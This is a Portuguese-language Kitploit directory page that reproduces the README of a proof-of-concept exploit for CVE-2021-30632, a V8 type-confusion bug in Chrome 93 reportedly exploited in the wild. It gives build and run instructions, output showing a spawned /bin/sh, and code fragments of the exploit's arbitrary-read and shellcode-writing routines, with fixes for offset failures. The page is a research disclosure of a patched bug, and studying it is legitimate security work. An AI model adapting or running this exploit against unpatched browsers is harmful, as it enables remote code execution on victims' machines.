Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-30632 — m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632 | Kitploit
Ferramentas/GitHubGitHub/paulsery/cve-2021-30632
Análise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebGeração de ShellcodeExploração de Binários
GitHubpaulsery/cve-2021-30632

CVE-2021-30632

m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Ver Repositório
1há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

De: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

A análise desse bug pode ser encontrada aqui. Este é um bug do Chrome que foi relatado por um pesquisador anônimo e acreditava-se que estava sendo explorado na natureza.

O exploit aqui foi testado na versão 9.3.345.16 do v8 (commit 632e6e7), que é a versão distribuída com o Chrome 93.0.4577.63, a versão anterior à correção do bug, no Ubuntu 20.04. Não o testei no próprio Chrome.

Para testar, faça checkout do v8 no commit 632e6e7 e compile com as configurações padrão usando tools/dev/gm.py x64.release. Em seguida, abra o arquivo poc.js com o d8:

./d8 poc.js

No Ubuntu 20.04, ele deve chamar execve("/bin/sh") para iniciar um novo processo:

./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $

O shell code pode precisar ser alterado em outras plataformas.

O exploit é muito confiável, porém, ao testar, notei que alguns offsets parecem ser sensíveis a pequenas alterações no arquivo (até mesmo adicionar comentários pode causar problemas), o que faria o exploit falhar. Isso só acontece quando o arquivo é modificado e geralmente se manifesta com alguns valores de lixo nos endereços, por exemplo:

instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a

Acima, o endereço da página rwx e do initBackingStore estão claramente incorretos. A causa raiz parece ser um valor incorreto do armazenamento de elements. (800222d não é um valor válido) Isso geralmente pode ser corrigido alterando as seguintes linhas referentes ao endereço de elements:

function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Isso, no entanto, não afeta a confiabilidade do exploit, pois os offsets são estáveis desde que o arquivo seja fixo, mas pode causar problemas se o poc for modificado. Não sei o que causa isso, mas o exploit provavelmente pode se tornar mais robusto contra isso combinando padrões na memória em vez de depender de offsets fixos.

Baixar ferramenta